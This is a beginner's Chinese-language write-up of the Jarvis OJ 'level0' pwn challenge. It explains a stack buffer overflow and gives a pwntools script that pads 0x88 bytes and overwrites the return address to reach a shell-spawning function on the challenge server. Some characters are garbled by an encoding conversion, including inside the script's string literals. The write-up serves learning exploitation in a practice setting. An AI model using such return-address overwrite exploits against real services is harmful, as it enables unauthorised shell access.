>純新手向,第一次做pwn的題,感覺非常難以下手,有很多的新知識,在接觸的過程中一點(diǎn)點(diǎn)的去學(xué)習(xí)。學(xué)習(xí)《匯編語言》(王爽)的寫法,只寫當(dāng)初在做這道題的時候用到的函數(shù)語法
思路WP
- 該題是棧溢出的錯誤,首先使用ida打開在jarvisoj下載的文件,首先會注意到有main函數(shù),因?yàn)橛衏語言基礎(chǔ),所以先從main()函數(shù)開始,注意到main函數(shù)調(diào)用了vulner_function函數(shù),關(guān)注該函數(shù),發(fā)現(xiàn)該函數(shù)新建了一個字符串。

main.png

vulner.png
-
通過打開stack of vulner_function可以發(fā)現(xiàn)長度為(+0x8-(-0x80)),一共為0x88大?。ㄍㄟ^buf的首地址到返回地址r)。
buff.png

buff-r.png
-
然后,該數(shù)組在read中用到,read的參數(shù)為:
read.png 可以看見傳入一個int類型,一個首地址 數(shù)組地址還有一個長度大小為nbyte的值,由此可知是要將一個最大長度為nbyte的數(shù)據(jù)傳入buf,但此時buf只有0x88,但由vulner_function函數(shù)可知該程序?qū)⒁粋€0x200ull的值傳入buf,因此棧溢出。
-
同時程序中有callsystem,并且已經(jīng)有了“/bin/sh”,由此我們只需要將棧填滿并且將vulner_function的返回地址覆蓋為調(diào)用callsteam的地址,即可拿到shell,得到flag。
callsystem.png
代碼
# -*- coding:utf-8 -*-
from pwn import *
sh = remote("pwn2.jarvisoj.com",9881) # 與服務(wù)器交互
# 填充
junk = ‘a(chǎn)‘*0x80
# 淹沒bp
fakebp = ‘a(chǎn)‘*8
syscall = 0x0000000000400596
payload = junk + fakebp + p64(syscall) # p64()對整數(shù)進(jìn)行打包
sh.send(payload)
sh.interactive() # 直接反彈shell進(jìn)行交互
解釋
remote():主要用作遠(yuǎn)程和服務(wù)器交互,返回一個類似連接對象
send():發(fā)送數(shù)據(jù),通過連接對象調(diào)用
interactive():反彈shell,達(dá)到交互的作用
p64():數(shù)字轉(zhuǎn)為字符串,在這里的作用即為將得到的地址轉(zhuǎn)換為字符串
payload通常用做關(guān)鍵的信息或者數(shù)據(jù)
結(jié)果

level0.png


